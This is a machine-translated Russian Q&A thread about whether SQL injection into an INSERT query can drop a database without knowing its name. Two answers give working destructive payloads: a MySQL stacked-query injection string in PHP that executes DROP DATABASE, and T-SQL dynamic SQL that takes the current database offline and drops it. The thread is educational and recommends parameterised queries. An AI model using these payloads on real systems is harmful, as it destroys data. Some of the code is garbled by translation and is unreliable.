Использование вложенных SQL-запросов в SQL-инъекции - PullRequest
0 голосов
/ 26 августа 2018

Этот вопрос только что возник у меня в голове, и я не смог его нигде найти, поэтому подумал, что это будет лучшее место, чтобы спросить. Это только для образовательных целей. Я использую надлежащие санитарные условия и не предоставил разрешение DROP для моей реальной базы данных.

Предположим, база данных со всеми разрешениями и простой запрос вставки с тремя значениями

INSERT INTO test(a,b,c) VALUES('$a','$b','$c');

Приведенный выше запрос уязвим для внедрения SQL.

Давайте предположим, что пользовательский ввод будет

  • a ', (выберите БАЗА ДАННЫХ ()),' a ') -
  • begone2
  • begone3

Результирующий запрос будет следующим:

INSERT INTO test(a,b,c) VALUES('a',(select DATABASE()),'a')-- ','begone2','begone3')

Этот запрос будет выполнен и вставит имя базы данных в таблицу, но у меня вопрос Может ли злоумышленник удалить базу данных, фактически не зная имя базы данных? с таким запросом:

INSERT INTO test(a,b,c) VALUES
('a',(DROP DATABASE (select DATABASE())),'a')-- ','begone2','begone3')

Я попытался выполнить вышеуказанный запрос, и он выдает ошибку. Что не так с этим запросом?

Ответы [ 3 ]

0 голосов
/ 26 августа 2018

Что не так с этим запросом?

INSERT INTO test(a,b,c) VALUES
('a',(DROP DATABASE (select DATABASE())),'a')-- ','begone2','begone3')

Есть две проблемы с этим запросом.

  1. Вы не можете поставить DROPБАЗА ДАННЫХ в подзапрос.Подзапрос должен быть оператором SELECT и иметь набор результатов (в показанном примере это должен быть набор результатов из одного столбца и одной строки).

    Для чего бы то ни было, вам не разрешат использовать INSERT / UPDATE / DELETE в подзапросе.

  2. DROP DATABASE не принимает результатподзапрос в качестве аргумента.Синтаксис DROP DATABASE принимает идентификатор базы данных (имя), и вы не можете DROP DATABASE ''.Результатом подзапроса всегда являются значения данных (например, строки и числа), а не идентификаторы.

    Сравните с этим запросом:

    SELECT a, b, c, (SELECT x FROM table2)
    FROM table1
    

    Подзапрос возвращает значение столбца x.Если значение x является строковым значением 'd', это НЕ заставляет внешний запрос возвращать значение столбца, обозначенного как table1.d.Он возвращает буквенную строку 'd'.

В общем случае SQL не позволяет использовать значения данных в качестве идентификаторов.Имена баз данных, имена таблиц и имена столбцов должны быть явно записаны в запросе до , когда запрос анализируется.Чтобы сделать идентификатор динамическим, вам нужно выполнить два запроса, то есть вы будете использовать результат первого запроса при создании второго оператора SQL.

0 голосов
/ 26 августа 2018

Может ли злоумышленник удалить базу данных, не зная ее имени?

Да.Предполагая MySQL, см. Следующий код PHP:

$a = "','',''); SET @sql = CONCAT('DROP DATABASE ', DATABASE()); PREPARE stmt FROM @sql; EXECUTE stmt; -- ";
$b = null;
$c = null;
$sql = "INSERT INTO test(a, b, c) VALUES('$a','$b','$c');";
echo $sql;

Будет создан следующий оператор MySQL:

INSERT INTO test(a, b, c) VALUES('','',''); SET @sql = CONCAT('DROP DATABASE ', DATABASE()); PREPARE stmt FROM @sql; EXECUTE stmt; -- ','','');

При попытке выполнить вышеуказанный SQL будет сброшена текущая база данных.

0 голосов
/ 26 августа 2018

мой вопрос: сможет ли злоумышленник удалить базу данных, не зная ее имени?

Быстрый ответ на этот вопрос - Да , и поэтому мы должны использовать параметры вместо конкатенации строк и стараться, как можем, избегать динамического SQL.

Злоумышленник может получить имя базы данных, используя функцию DB_Name () как:

SELECT DB_NAME();

А вот пример для удаления базы данных, не зная ее имени:

DECLARE @SQL NVARCHAR(MAX);

SET @SQL = (SELECT N'USE master; 
ALTER DATABASE '+ DB_NAME() +' SET OFFLINE WITH ROLLBACK IMMEDIATE;
DROP DATABASE ' + DB_NAME() + ';');

EXECUTE sp_executesql @SQL;
...